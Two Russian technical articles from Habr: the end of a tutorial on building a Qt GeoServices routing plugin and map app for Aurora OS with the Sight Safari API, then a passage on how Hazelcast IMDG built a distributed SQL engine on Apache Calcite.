Здесь после проверки на наличие ошибок пришедшее изображение считывается в виде массива байтов. Затем указывается формат изображения (в данном случае — png). Сигнал `finished` уведомляет компонент `Map` о том, что тайл готов к отрисовке.
### А что с маршрутом? Обзор Sight Safari API
Итак, наш Qt GeoServices-плагин может определять и показывать положение пользователя на карте. Теперь научим его отображать маршруты, построенные с помощью сервиса [Sight Safari](https://sightsafari.city/api_docs).
Для поиска маршрута сервис предоставляет метод `findpath`, который принимает на вход шесть параметров. Впрочем, мы собираемся передавать только три:
* `from` — начало пути;
* `to` — конец пути;
* `ratio` — «интересность».
Чем больше значение последнего параметра, тем больше достопримечательностей и просто красивых мест встретится на пути. Мы зададим ratio равным единице — в качестве оптимального сочетания интересности и протяжённости маршрута.
Отладочная информация в нашем приложении не нужна, поэтому параметр `debug` оставим установленным по умолчанию. Якорная точка через `desiredCoordinates` не передаётся, так как в параметрах `from` и `to` будут указаны точные координаты. Параметр `apiKey` тоже опустим: для демонстрационных целей хватает бесплатных возможностей API.
В качестве ответа `findpath` возвращает json-объект, в котором нас интересует массив `latLonPoints`: здесь хранятся точки, по которым проходит маршрут — его-то и надо отобразить на нашей карте. Кстати, несмотря на указанный [в документации](https://sightsafari.city/api_docs) Sight Safari тип запроса POST, API прекрасно работает и через GET-запросы.
### Расширение функциональности плагина
Настало время разобраться с классом `QGeoServiceProviderFactoryOsmScoutOffline`, с которым мы уже сталкивались в ходе регистрации плагина в системе. В нём имплементирован метод `createRoutingManagerEngine`, возвращающий указатель на объект класса, отвечающего за построение маршрутов:
```
QGeoRoutingManagerEngine *QGeoServiceProviderFactoryOsmScoutOffline::createRoutingManagerEngine(
const QVariantMap ¶meters, QGeoServiceProvider::Error *error, QString *errorString) const
{
return new QGeoRoutingManagerEngineOsmScoutOffline(parameters, error, errorString);
}
```
Основной метод в этом классе — `calculateRoute`, принимающий запрос с точками, через которые проходит маршрут, и возвращающий ответ с одним или несколькими маршрутами для отображения:
QGeoRouteReply
```
QGeoRouteReply *QGeoRoutingManagerEngineOsmScoutOffline::calculateRoute(
const QGeoRouteRequest &request)
{
QGeoCoordinate start = request.waypoints()[0];
QGeoCoordinate end = request.waypoints()[1];
QString from = QStringLiteral("%1,%2").arg(QString::number(start.latitude()), QString::number(start.longitude()));
QString to = QStringLiteral("%1,%2").arg(QString::number(end.latitude()), QString::number(end.longitude()));
QUrlQuery query;
query.addQueryItem(QStringLiteral("from"), from);
query.addQueryItem(QStringLiteral("to"), to);
query.addQueryItem(QStringLiteral("ratio"), QStringLiteral("1"));
QUrl url(QStringLiteral("https://sightsafari.city/api/v1/routes/direct"));
url.setQuery(query);
QNetworkRequest remoteRequest(url);
QNetworkReply *reply = mNetworkManager->get(remoteRequest);
QGeoRouteReplyOsmScoutOffline routeReply = new QGeoRouteReplyOsmScoutOffline(reply, request, this);
connect(routeReply, &QGeoRouteReplyOsmScoutOffline::finished,
this, &QGeoRoutingManagerEngineOsmScoutOffline::replyFinished);
connect(routeReply, static_cast(&QGeoRouteReplyOsmScoutOffline::error),
this, &QGeoRoutingManagerEngineOsmScoutOffline::replyError);
return routeReply;
}
```
Сначала из пришедшего запроса получаются координаты начала и конца маршрута — подразумевается, что запрос содержит только две координаты. Далее формируется и отправляется GET-запрос к описанному ранее методу API. Здесь поле `mUrlPrefix` содержит endpoint сервера.
После этого формируется и возвращается указатель на объект с полученными маршрутами. У этого объекта могут быть сигналы `finished` или `error`, в соответствии с которыми выполняется обработка успешно либо неуспешно завершённого запроса. Обработка у нас простая:
```
void QGeoRoutingManagerEngineOsmScoutOffline::replyFinished()
{
QGeoRouteReply *reply = qobject_cast(sender());
if (reply)
emit finished(reply);
}
void QGeoRoutingManagerEngineOsmScoutOffline::replyError(QGeoRouteReply::Error errorCode,
const QString &errorString)
{
QGeoRouteReply \*reply = qobject\_cast(sender());
if (reply)
emit error(reply, errorCode, errorString);
}
```
Метод `calculateRoute` создаёт и возвращает объект типа `QGeoRouteReplyOsmScoutOffline`. Всё, что нужно для работы объекта, находится в конструкторе:
QGeoRouteReplyOsmScoutOffline::QGeoRouteReplyOsmScoutOffline
```
QGeoRouteReplyOsmScoutOffline::QGeoRouteReplyOsmScoutOffline(QNetworkReply *reply,
const QGeoRouteRequest &request,
QObject parent)
: QGeoRouteReply(request, parent)
{
if (reply == nullptr) {
setError(UnknownError, QStringLiteral("Null reply"));
return;
}
connect(reply, &QNetworkReply::finished,
this, &QGeoRouteReplyOsmScoutOffline::networkReplyFinished);
connect(reply, static_cast(&QNetworkReply::error),
this, &QGeoRouteReplyOsmScoutOffline::networkReplyError);
connect(this, &QGeoRouteReplyOsmScoutOffline::destroyed,
reply, &QNetworkReply::deleteLater);
}
```
После проверки переданного в конструктор указателя на корректность, обработчики привязываются к посылаемым сигналам. Последние две связки — для обработки ошибки сетевого соединения и для освобождения памяти — не представляют большого интереса. А обработку успешного ответа от сервера рассмотрим подробнее:
void QGeoRouteReplyOsmScoutOffline::networkReplyFinished
```
void QGeoRouteReplyOsmScoutOffline::networkReplyFinished()
{
QNetworkReply *reply = static_cast(sender());
reply->deleteLater();
if (reply->error() != QNetworkReply::NoError)
return;
QJsonDocument jsonDoc = QJsonDocument::fromJson(reply->readAll());
QJsonObject jsonBody = jsonDoc.object().value(QStringLiteral("body")).toObject();
QJsonArray jsonPath = jsonBody.value(QStringLiteral("latLonPoints")).toArray();
QList coords;
for (QJsonValue value : jsonPath) {
QJsonArray coord = value.toArray();
coords.append(QGeoCoordinate(coord.at(0).toDouble(), coord.at(1).toDouble()));
}
QGeoRoute route;
route.setPath(coords);
route.setRequest(request());
setRoutes({ route });
setFinished(true);
}
```
В этом методе из пришедшего с сервера json-ответа извлекаем массив `latLonPoints` с точками маршрута, который преобразуем в список объектов координат, сохраняем как маршрут (здесь мы подразумеваем, что маршрут один) и указываем, что обработка запроса произведена успешно.
После вызова метода `setFinished` посылается сигнал `finished`. Он обрабатывается упомянутым ранее методом `replyFinished`, сообщающим приложению, использующему плагин, что маршрут построен.
### Кстати, что там с приложением? Особенности yaml-файла
Мы почти готовы собрать и установить rpm-пакет, чтобы перейти к использованию плагина в своих приложениях. Осталось подкорректировать стандартный yaml-файл, создаваемый Аврора IDE, или написать свой с нуля.
qtgeoservices-osmscoutoffline.yaml
```
Name: qtgeoservices_osmscoutoffline
Summary: QtGeoServices OSM Scout Offline with Sight Safary routing
Version: 0.5.0
Release: 1
Group: System/Libraries
URL: https://github.com/osanwe/qtgeoservices-osmscoutoffline
License: BSD-3-Clause
Sources:
- '%{name}-%{version}.tar.bz2'
Description: |
QtGeoServices OSM Scout Offline with Sight Safary routing
Configure: none
Builder: qtc5
PkgConfigBR:
- Qt5Core
- Qt5Location
- Qt5Positioning
- Qt5Network
Files:
- '%{_libdir}/qt5/plugins/geoservices/libqtgeoservices_osmscoutoffline.so'
```
Самое важное изменение — блок `Files`, в котором прописывается путь установки скомпилированной библиотеки
### Ищем себя на карте
В новом проекте, созданном Aurora IDE, по умолчанию создаются четыре QML элемента:
* **CoverPage.qml** — данный элемент отвечает за вывод наиболее важной информации о приложении когда оно свернуто.
* **FirstPage.qml** — в новом проекте эта страница является первой.
* **SecondPage.qml** — не будем использовать.
* **harbour-walking.qml** — название данного файла совпадает с названием проекта; в нем задаются элемент инициализации и элемент обложки приложения.
Для нашего примера потребуется только **FirstPage.qml**, поэтому **SecondPage.qml** можно удалить. Далее мы удаляем всё содержимое **FirstPage.qml**, переименовываем его в **MainPage.qml** и приступаем к реализации нашего приложения.
Первым делом добавляем все необходимые импорты для отображения карты и получения информации с GPS-приемника устройства. Также у нас есть некоторое множество дополнительно реализованных элементов, которые расположены в директории **qml/views**. Для того, чтобы у нас появился доступ ко всем элементам в данном каталоге необходимо добавить соответствующий импорт.
```
import QtQuick 2.5
import QtLocation 5.0
import QtPositioning 5.0
import Sailfish.Silica 1.0
import "../views"
```
Добавляем корневой для данного QML файла элемент `Page` и начинаем его заполнять.
Page
```
Page {
id: page
property bool mapFollowing: false
property var mapGpsPosition: positionSource.position.coordinate
property var mapCenterPosition: QtPositioning.coordinate(NaN, NaN)
property var pressCoords: QtPositioning.coordinate(NaN, NaN)
allowedOrientations: Orientation.Portrait
Drawer {
id: drawer
anchors.fill: parent
open: true
backgroundSize: background.height
background: Item {
id: background
// some code
}
Plugin {
id: mapPlugin
name: "osmscoutoffline"
}
PositionSource {
id: positionSource
updateInterval: 1000
active: true
preferredPositioningMethods: PositionSource.AllPositioningMethods
}
Map {
id: map
function initMapCenter() {
var moscowCenterPos = QtPositioning.coordinate(55.751244, 37.618423)
if (mapGpsPosition.isValid) {
map.center = mapGpsPosition
mapFollowing = true
} else {
map.center = moscowCenterPos
}
map.zoomLevel = 15
}
function setMapCenterFromGps() {
if (mapGpsPosition.isValid) {
map.zoomLevel = 17
map.center.latitude = mapGpsPosition.latitude
map.center.longitude = mapGpsPosition.longitude
mapFollowing = true
}
}
anchors.fill: parent
plugin: mapPlugin
onCenterChanged: {
mapCenterPosition = center
if (mapFollowing && center !== mapGpsPosition)
mapFollowing = false
}
Component.onCompleted: map.initMapCenter()
MapMarker {
coordinate: mapGpsPosition
visible: mapGpsPosition.isValid
source: "../images/mylocation.svg"
}
Connections {
target: page
onMapGpsPositionChanged: {
if (mapFollowing)
map.setMapCenterFromGps()
}
}
}
}
}
```
Что здесь было добавлено:
* Дополнительные переменные:
+ `mapFollowing` — переменная в которой хранится флаг следования за изменяющийся позицией, получаемой с GPS датчика устройства; данное поведение будет воспроизводиться в том случае, если мы вызовем далее описанную функцию `setMapCenterFromGps` у объекта `map` и не будем изменять область вывода карты вручную.
+ `mapGpsPosition` — переменная в которой хранится текущая координата, полученная от элемента `PositionSource`.
+ `mapCenterPosition` — в данной переменной хранится координата центра карты.
+ `pressCoords` — переменная для хранения координаты нажатия по карте.
* `Drawer` — контейнер который позволяет выдвинуть некоторую область на передний план, где могут быть расположены некоторые второстепенные элементы управления; выезжающая область задаётся через свойство: `background` (содержимое контейнера мы опишем позже).
* `Plugin` — непосредственно сам плагин, описанный ранее, который будет взаимодействовать с картой и предоставлять ей необходимые тайлы. В качестве значения параметра `name` устанавливаем имя плагина, указанное в json-файле.
* `PositionSource` — объект, предоставляющий информацию о текущей позиции телефона (для его работы необходимо включить GPS датчик устройства). Установка свойства `active` в значение `true` запускает работу данного элемента. Свойство `updateInterval` равное `1000` задает элементу таймаут по которому он будет сообщать о текущем положении раз в одну секунду. Свойство `preferredPositioningMethods` со значением `PositionSource.AllPositioningMethods` говорит о том, что данным элементом будут использоваться любые методы позиционирования.
* `Map` — элемент для отображения карты. С помощью свойства `anchors.fill: parent` указываем, что карта должна занимать все доступное пространство. Значение свойства `plugin` — идентификатор объявленного ранее плагина. По сигналу `onCenterChanged` выполняется обновление переменной `mapCenterPosition`, объявленной в начале элемента `Page` и в случае, если флаг `mapFollowing` был выставлен в `true`, он сбрасывается (это означает, что мы не хотим чтобы центр карты автоматически обновлялся в соответствии с данными, получаемыми с GPS-приемника; для того, чтобы вернуть данное поведение обратно, необходимо нажать на кнопку в элементе `Drawer`, который будет описан позже). По сигналу `Component.onCompleted` выполняются действия, которые необходимо произвести после полной инициализации карты; здесь вызывается функция `initMapCenter` у объекта `Map`, которая выставляет начальный масштаб и в случае, если у нас есть валидные данные с GPS-приемника, то они выбираются в качестве начальной позиции центра карты, в обратном случае выставляются координаты центра Москвы.
* `MapMarker` — элемент, унаследованный от `MapQuickItem` и расположенный в каталоге **qml/views** (с его реализацией можно ознакомиться в [файлах исходника проекта](https://github.com/osanwe/harbour-sight-safary/blob/master/qml/views/MapMarker.qml)) с предустановленными свойствами отображения границ изображений, их размером и якорной точкой. Таким образом, для данного элемента достаточно установить только иконку в свойстве `source`, его позицию на карте через свойство `coordinate` и флаг отображения в свойстве `visible` (так, например, если нам по каким-либо причинам не удалось получить валидные координаты с GPS-приемника, то и отображать этот элемент смысла нет).
* `Connections` — данный элемент позволяет задать ему объект, у которого мы хотим обрабатывать сигналы через свойство `target`. При подключении к сигналам в QML обычным способом является создание обработчика вида `on`. Здесь мы отслеживаем изменение текущей координаты полученной от `PositionSource` и, если свойство `mapFollowing` выставлено в `true`, то происходит автоматическое обновление центра отображаемой области карты при изменении его координат.
Собираем данные исходники и проверяем. Результат должен получиться аналогично изображению ниже.
### Добавляем в приложение возможность построения маршрутов
Добавим в элемент `Map` элемент `BusyIndicator`, отвечающий за индикацию процесса выполнения запроса к online-сервису по построению маршрутов. Данный элемент мы центрируем по отношению к родительскому, а именно к `Map` через свойство `anchors.centerIn`. Мы делаем именно так, потому что, если мы отобразим выезжающую область `Drawer`, то размер отображаемой области карты станет меньше, и таким образом мы избежим наложение этих элементов друг на друга. Так как на картах используется достаточно большое количество цветов, для данного индикатора лучше использовать контрастный цвет, а именно черный. Его мы получаем из системной темы и задаем свойству `color`. Устанавливаем свойство `size`, используя стандартное значение перечисления данного элемента. В завершении по данному элементу мы указываем, что изначально он не отображается через свойство `running`, в дальнейшем это свойство будет изменяться по определенным событиям.
```
BusyIndicator {
id: routeLoadingIndicator
anchors.centerIn: parent
size: BusyIndicatorSize.Large
color: Theme.rgba(Theme.darkPrimaryColor, Theme.opacityOverlay)
running: false
}
```
Добавим в элемент `Map` еще два элемента типа `MapMarker` для отображения начальной и конечной точек маршрута. Данные элементы аналогичны тому, что был описан ранее и отличаются только иконкой. Туда же добавим элемент `MapRoute` для вывода самого маршрута. Он аналогично `MapMarker` расположен в каталоге **qml/views** (с его реализацией можно ознакомиться в [файлах исходника проекта](https://github.com/osanwe/harbour-sight-safary/blob/master/qml/views/MapRoute.qml)). Данный элемент унаследован от `MapPolyline` с предустановленными свойствами отображения границ линии и ее толщиной. Этот элемент имеет свойство `path` которое будет заполняться чуть дальше.
```
MapRoute { id: mapRoute }
MapMarker {
id: markerStart
visible: false
source: "../images/location.svg"
}
MapMarker {
id: markerFinish
visible: false
source: "../images/location.svg"
}
```
Добавляем в элемент `Drawer` объекты, позволяющие получать информацию о маршрутах. Элемент `RouteQuery` отвечает за формирование запроса на построение маршрута к онлайн сервису Sight Safari. Элемент `RouteModel` хранит полученные маршруты и связывается с `RouteQuery` с помощью параметра `query`. В качестве значения параметра `plugin` указывается наш плагин объявленный ранее. Параметру `autoUpdate` присваиваем `false`, чтобы маршрут перестраивался не при изменении начальных и конечных координат, а только по запросу (по нажатии на кнопку, которая будет располагаться в `Drawer`). Также, при получении сигнала `onRoutesChanged` мы устанавливаем параметр `path` у элемента `MapRoute` и останавливаем работу индикатора загрузки информации о маршруте.
```
RouteQuery { id: mapRouteQuery }
RouteModel {
id: mapRouteModel
plugin: mapPlugin
query: mapRouteQuery
autoUpdate: false
onRoutesChanged: {
routeLoadingIndicator.running = false
mapRoute.path = mapRouteModel.get(0).path
}
}
```
Теперь подготовим выезжающую область в элементе `Drawer`. Для этого заполним элементами управления `Item` который установили свойству `background` в `Drawer`. Опустим описание всех свойств следующих элементов, достаточно будет описать их назначение. В данном элементе отображаются точки начала и конца маршрута, и две кнопки. Первая кнопка перемещает центр отображаемой области карты в определившиеся GPS координаты (кнопка будет неактивна, если GPS координаты невалидны или текущий отображаемый центр совпадает с координатами полученными с GPS-приемника). Вторая кнопка выполняет построение маршрута между двумя заданными точками (кнопка становится активной только, если обе точки будут заданы). В следующем фрагменте кода мы используем элемент `CoordField`, который аналогично остальным пользовательским элементам расположен в каталоге **qml/views** (с его реализацией можно ознакомиться в [файлах исходника проекта](https://github.com/osanwe/harbour-sight-safary/blob/master/qml/views/CoordField.qml)).
Item
```
Item {
id: background
anchors.fill: parent
height: column.implicitHeight + column.anchors.topMargin + column.anchors.bottomMargin
Column {
id: column
anchors {
fill: parent
margins: Theme.paddingMedium
}
spacing: Theme.paddingMedium
width: parent.width
Label {
text: qsTr("Route from:")
font.bold: true
}
CoordField { id: startCoordField }
Label {
text: qsTr("Route to:")
font.bold: true
}
CoordField { id: endCoordField }
Row {
anchors.horizontalCenter: parent.horizontalCenter
spacing: Theme.paddingMedium
Button {
text: qsTr("My position")
enabled: mapGpsPosition.isValid
&& (mapGpsPosition.latitude !== mapCenterPosition.latitude
|| mapGpsPosition.longitude !== mapCenterPosition.longitude)
onClicked: map.setMapCenterFromGps()
}
Button {
text: qsTr("Route")
enabled: startCoordField.coordinate.isValid && endCoordField.coordinate.isValid
onClicked: {
routeLoadingIndicator.running = true
mapRouteQuery.clearWaypoints()
mapRouteQuery.addWaypoint(startCoordField.coordinate)
mapRouteQuery.addWaypoint(endCoordField.coordinate)
mapRouteModel.update()
}
}
}
}
}
```
Данный элемент будет выглядеть так, как представлено на изображении ниже.
Добавим возможность управления отображения данным выезжающим элементом. Для этого поместим в элемент `Map` кнопку типа `MapButton`, которая аналогично остальным пользовательским элементам расположена в каталоге **qml/views** (с его реализацией можно ознакомиться в [файлах исходника проекта](https://github.com/osanwe/harbour-sight-safary/blob/master/qml/views/MapButton.qml)). Этот элемент унаследован от `IconButton` и дополнен рамкой и фоном. Тут мы его прижимаем к правому нижнему углу и задаем отступы по краям. Устанавливаем элементу в свойстве `icon.source` стандартную иконку для меню. Указываем, что иконка элемента будет подсвечиваться тогда, когда элемент `Drawer` открыт. Также при получении сигнала `onClicked` мы будем менять состояние отображения `Drawer` на обратное.
```
MapButton {
anchors {
bottom: parent.bottom
right: parent.right
bottomMargin: Theme.paddingLarge
rightMargin: Theme.horizontalPageMargin
}
icon.source: "image://theme/icon-m-menu"
highlighted: drawer.open
onClicked: drawer.open ? drawer.hide() : drawer.show()
}
```
Раз уж мы добавили одну кнопку, добавим еще парочку для управления масштабом в элемент `Map`.
Map
```
Column {
anchors {
right: parent.right
verticalCenter: parent.verticalCenter
rightMargin: Theme.horizontalPageMargin
}
spacing: Theme.paddingLarge
MapButton {
id: buttonZoomIn
icon.source: "../images/zoom-plus.svg"
enabled: map.zoomLevel < map.maximumZoomLevel
onClicked: map.zoomLevel = Math.min(map.zoomLevel + 1.0, map.maximumZoomLevel)
}
MapButton {
id: buttonZoomOut
icon.source: "../images/zoom-minus.svg"
enabled: map.zoomLevel > map.minimumZoomLevel
onClicked: map.zoomLevel = Math.max(map.zoomLevel - 1.0, map.minimumZoomLevel)
}
}
```
Теперь, когда большая часть реализована, необходимо добавить возможность выбора начальной и конечной точек на карте к элементу `Map`. Для этого добавляем в него `MouseArea`, отвечающий за обработку нажатий по экрану устройства. При нажатии по области карты, в случае, если диалог был закрыт, то он отображается и координата нажатия сохраняется в объявленную в самом начале переменную `pressCoords`, после чего отображается диалог `PointDialog`, который аналогично остальным пользовательским элементам расположен в каталоге **qml/views** (с его реализацией можно ознакомиться в [файлах исходника проекта](https://github.com/osanwe/harbour-sight-safary/blob/master/qml/views/PointDialog.qml)). В нем выводится координата нажатия, сохраненная ранее в `pressCoords`, и две кнопки: “От” и “До”. При нажатии на кнопку любую из кнопок происходит передача текущей координаты в соответствующее поле в выезжающей области `Drawer`. Как только будут заданы обе координаты, кнопка построения маршрута станет активной.
```
MouseArea {
anchors.fill: parent
z: -1
onClicked: {
if (choosePointDialog.visible) {
choosePointDialog.visible = false
} else {
pressCoords = map.toCoordinate(Qt.point(mouse.x, mouse.y))
choosePointDialog.visible = true
}
}
}
PointDialog { id: choosePointDialog }
```
После нажатия на кнопку построения маршрута получится что-то наподобие изображения ниже.
На этом всё, подробнее о создании плагинов можно почитать [на Хабре](https://habr.com/post/233809/) или [в документации Qt](http://doc.qt.io/qt-5/qtlocation-geoservices.html). Мы же со своей стороны готовы дать любые пояснения в комментариях.
Материалы для публикации подготовлены [Петром Вытовтовым](https://habr.com/ru/users/osanwe/) и [Павлом Казеко](https://habr.com/ru/users/crsh_tst/) с комментариями и правками от [Кирилла Чувилина](https://habr.com/ru/users/chuvilin/). | https://habr.com/ru/post/555238/ | null | ru | null |
# Как в Hazelcast добавляли распределенный SQL
Чтобы разработать свой распределенный SQL-движок, можно написать свой SQL-оптимизатор для построения движков. Вам придется сделать парсер, семантический анализатор и придумать правила трансформации и оптимизации. Всё протестировать, а потом как-то интегрировать в свою систему. Но можно пойти более быстрым путем — внедрить для этого готовый инструмент.
**Владимир Озеров**, бывший инженер Hazelcast, а сейчас руководитель Querify Labs, на конференции **HighLoad++ 2021** поделился опытом разработки и проектирования с нуля распределенного SQL-движка для продукта Hazelcast IMDG. Видео его выступления можно посмотреть [здесь](https://clck.ru/YTGsp).
Сегодня статья о том, для чего в Hazelcast IMDG понадобилась эта разработка, и в чем преимущества и недостатки фреймворка Apache Calсite. Как на нем были реализованы встроенные оптимизации, выбор вторичных индексов и планирование перемещения данных в кластере. И как справились с описанием запросов произвольной сложности, кооперативной многозадачностью и оптимизированием сетевого протокола.
Что такое Hazelcast IMDG
------------------------
Hazelcast IMDG — это распределенное key-value-хранилище, в котором пара «ключ-значение» организованы в шарды и распределены по узлам, чтобы обеспечивать горизонтальное масштабирование:
Hazelcast предоставляет доступ к данным по ключу. Для выполнения более сложных запросов существует Predicate API, который позволяет получить записи, удовлетворяющие условию. Predicate API может задействовать вторичные индексы, которые хранят данные либо в хипе Java-процесса (ConcurrentHashMap), либо в offheap (однопоточное красно-чёрное дерево).
У этого API было несколько проблем. Его изначально спроектировали для выдачи полного сета данных, без курсоров. Он исполнял предикаты и делал простые агрегации, но у него не было сложных операторов, типа join и сортировки:
`IMap map = …`
`…`
`map.put (1L, new Person (“John”));`
`…`
`Predicate predicate = Predicates.equals(“name”,”John”);`
`Collection persons = map.values(predicate);`
Например, если вы работаете с большим сетом данных и отправили предикат с низкой селективностью, то получите миллионы записей, из-за чего ваш узел упадет с «Out of Memory». Predicate API не был декларативным и помимо всего прочего пользователю приходилось изучать его с нуля. Чтобы решить эти проблемы, в Hazelcast IMDG решили сделать SQL-движок.
Что было сделано
----------------
### Оптимизация с Apache Calcite
После анализа решений на рынке для ускорения создания этого компонента, был выбран Apache Calcite — фреймворк для построения SQL-движков. У него есть все необходимые компоненты: парсер из коробки, семантический анализатор, транслятор и оптимизатор для применения правил оптимизации к запросам для поиска оптимального плана исполнения:
В Calcite вы можете добавить свои дополнительные фичи или определения практически в любой компонент. Например, собственную схему для парсера, собственный синтаксис для правил оптимизации, создав свои правила или операторы.
### Парсинг
Берем оригинальную строку, скармливаем ее в парсер Calcite и получаем синтаксическое дерево запроса:
У парсера Calcite есть поддержка SQL-синтаксиса 2003 года, которая дает возможности изменения его поведения.
### Семантический анализ
Для проверки семантической корректности синтаксического дерева в Calcite есть компонент SQL-валидатор. Он проверяет реляционную семантику, разрешает имена объектов СУБД функций и осуществляет вывод типов:
Calcite является расширяемым продуктом. Поэтому, если в процессе разработки потребуется изменить вывод типов функций в SQL, вы легко это сделаете. Семантика Calcite близка к MySQL, но можно сделать и более строгую семантику, как в Postgres.
### Схема в Hazelcast
В Hazelcast IMDG базовая структура данных — IМар (распределенная HashMap), которая хранит произвольные пары «ключ-значение». Чтобы из этой неструктурированной информации получить схему, которую можно использовать в SQL, было сделано допущение, что все данные, ключи и значения имеют одни и те же типы.
Для каждой пары «ключ-значение» из распределенной HashMap взяли информацию о полях Java объектов (Hazelcast написан на Java), извлекли атрибуты и предоставили в Calсite:
Если объекты из IМар оказывались других типов, движок возвращал ошибку. Такой подход позволил зафиксировать схему на начало оптимизации запроса и избежать конфигурации — всё работало из коробки.
### Трансляция в реляционное дерево
Многие БД используют синтаксические деревья для оптимизации, но из-за особенностей синтаксиса SQL у них получается сложная структура со сложными правилами. Например, у оператора SELECT много child-узлов: WHERE, HAVING, GROUP BY и т.д.
Поэтому Calсite для оптимизации использует промежуточное представление (IR) в виде дерева реляционных операторов: scan, project, filter, join, aggregate и т.п. Операторы имеют строго ограниченную семантику, поэтому их удобно использовать для оптимизации запроса:
#### Реляционные операторы:
* Scan — сканировать абстрактный источник данных;
* Project — трансформировать кортеж (напр., а+Ь), оператор берет набор входных атрибутов и может изменить их порядок или применить к ними функции;
* Filter — отфильтровать кортежи (WHERE, HAVING), оператор фильтрует (обрабатывает) tuple, которые не прошли предикат;
* Sort — ORDER BY / LIMIT / OFFSET;
* Aggregate — агрегация, оператор описывает агрегацию и больше ничего;
* Window — оконная агрегация;
* Join — классический join двух операторов;
* Union/Minus/Intersect — set-операторы.
Для такого набора простых операторов легко писать правила оптимизации. Например, если вы пишете запрос с GROUP BY и HAVING, для Calсite — это два отдельных оператора. Информация из GROUP BY и его агрегатные функции в SELECT станут оператором Aggregate. HAVING превратится в Filter над оператором агрегации.
В Calсite операторы абстрактные. Например, у join нет спецификации, которая описывает — это hash-join, merge-join или nested loops-join. Для агрегатов и сканирования тоже нет описания, например, какое это сканирование — по индексу или по таблице. Поэтому если вы хотите интегрировать Calсite, сначала определите физические операторы, специфичные для вашего бэкенда, а также правила, которые будут транслировать логические операторы Calсite в физические операторы вашей системы.
В Hazelcast операторы определили так:
**Логический оператор — Физические оператор**
* Scan — Table Scan, Index Scan
* Aggregate — Hash Aggregate, Streaming Aggregate
* Join — Hash Join, Merge Join, Nested Loop Join
#### Правила трансформации
После этого Calсite трансформирует оригинальное дерево логических операторов в дерево физических операторов, специфичных для вашей системы. Дерево описывает шаги, которые вы должны сделать в вашем бэкенде.
Большая часть всех трансформаций в Calсite имплементирована с помощью правил, состоящих из паттерна и самой трансформации. Трансформация описывает паттерн, который вы ищете в дереве. Например, паттерн агрегат, который находится поверх join:
Правило делает push down агрегата под join. Так оптимизация уменьшает количество данных, которые доходят до оператора join.
В Calсite трансформации применяются двумя путями. Либо итеративно — мы увидели паттерн, применили и получили новое дерево, после чего перешли к следующему дереву, и так, пока не придем в финальную точку. Либо с помощью Cost-based-оптимизатора, который вместо перехода от дерева к дереву кодирует все потенциальные деревья в одну структуру данных (MEMO) — последовательность реальных операторов и групп эквивалентности. На схеме группы показаны кружками:
У группы G4 два эквивалентных оператора. Aggregate — то, что было до применения правила и Project, который появился после применения правила. Эквивалентность означает, что операторы вернут всегда один и тот же сет данных для любого входного набора данных. Calсite присваивает закодированным в одну структуру данным значение на основе кос-функции вашего оператора.
Например, в Spark или Presto трансформации чаще всего происходят эвристически, cost best оптимизации присутствуют на уровне определенных правил, но сделать их между рулами для всех альтернатив нельзя. В Calсite можно выбрать подходящий план исполнения.
### Многофазная оптимизация
В Calсite можно сделать композицию фаз оптимизации для облегчения ее процесса. Чтобы найти оптимальный план, вам нужно перебрать все планы. Поэтому в практических оптимизаторах процесс поиска плана разбивается на отдельные фазы. Так уменьшается общая сложность планирования, но существует вероятность пропуска оптимального плана.
В Hazelcast это сделано по такому же принципу: набор итеративных и cost-based фаз следует одна за другой, пока не приводит к финальному физическому плану:
#### Физическая оптимизация: выбор индекса
В зависимости от того, какие предикаты есть в фильтре поверх оператора Scan, определяются индексы, которые удовлетворяют и ускоряют эти предикаты. Так можно не только сканировать базовую структуру данных (самого распределенного HashMap), но и добавлять в пространство поиска дополнительные альтернативные планы, которые задействуют те или иные индексы:
#### Физическая оптимизация: distribution
Одна из самых больших проблем распределенного SQL в том, что распределение данных в кластере может не подойти для исполнения конкретных операторов — таких как join, aggregate или sort. Поэтому надо планировать не только классические реляционные операторы, но и перераспределение данных в кластере. В Hazelcast определили три типа распределений для каждого оператора:
1. PARTITIONED — результат работы оператора распределен по узлам кластера;
2. REPLICATED — полная копия данных присутствует на всех узлах;
3. SINGLETON — результат работы оператора находится на одном узле, используется для моделирования доставки данных в конечный курсор, который отдает их пользователю.
Все распределения в Calсite можно закодировать через интерфейс RelTrait, в котором parent-оператор запрашивает конкретное распределение у child-оператора:
Представьте, что оператор Root моделирует доставку данных пользователю. Их надо свести в одну точку, чтобы отдать из курсора. Если у оператора Scan partitioned распределения, то всех данных на текущем узле нет. Тогда с помощью Calсite можно смоделировать свойство distribution, и один узел запросит у другого узла свойство — допустим, singleton. Если child-узел не удовлетворяет этому свойству, Calсite вставит оператор Exchange, чтобы сделать переход от partition-распределения к singleton-распределению, то есть смоделирует передачу данных со всех узлов на один узел в кластере. В Hazelcast интегрировали данную физическую оптимизацию с нуля.
С оптимизациями разобрались. Теперь перейдем к тому, как были сделаны SQL-запросы.
### Фрагменты
Вместе с финальным планом от Calсite был получен и набор операторов, в том числе Exchange. После чего был имплементированспециальный визитор, который идет по дереву снизу вверх и, встречая оператор Exchange, создает отдельные фрагменты операторов, которые могут быть исполнены независимо друг от друга. Sender отправляет данные, а Receiver, соответственно, принимает. Так можно смоделировать любой запрос, потому что Exchange позволяет перемещать данные в кластере:
В итоге получили список фрагментов и определили, на каких узлах нужно их исполнить. Зная связи между парами sender-receiver, можно создавать батчи данных и отправлять из sender в receiver, чтобы доставить финальный результат в курсор пользователя:
Фрагмент — это произвольное количество промежуточных операторов, которые берут данные из одного или более input'oв: индексов, IMap или receiverов. Фрагмент всегда имеет один output — ender или пользовательский курсор.
Представьте, что нужно исполнить запрос TPC-DS Q3, в котором есть join трех таблиц, агрегация и сортировка:
Запрос TPC-DS Q3
```
select dt.d year,
item.i_brand_id brand_id,
item.i_brand brand,
sum(ss_ext_sales price) sum_agg
from date_dim dt,
store_sales,
Where dt.d_date_sk = store_sales.ss_sold_date_sk
and store_sales.ss_item sk = item.i_item_sk
and item.i manufact_id = 128
and dt.d_moy=11
group by dt.d_year,
item.i brand,
item.i_brand_id
order by dt.d_year,
sum_agg desc,
brand_id
limit 100
```
С помощью операторов Exchange можно разбить запрос на три отдельных фрагмента:
В первом фрагменте определяем две таблицы как replicated, чтобы сделать сколлоцированный join на узлах независимо друг от друга, то есть каждый узел join’ит часть своих данных. Потом на этих же узлах можно сделать агрегацию, поставив операторы Exchange и отправив в следующие фрагменты. Следующий фрагмент сделает финальную агрегацию и предварительную сортировку, после чего перешлет данные на один финальный узел, где и произойдет окончательный merge sort.
#### Volcano Model
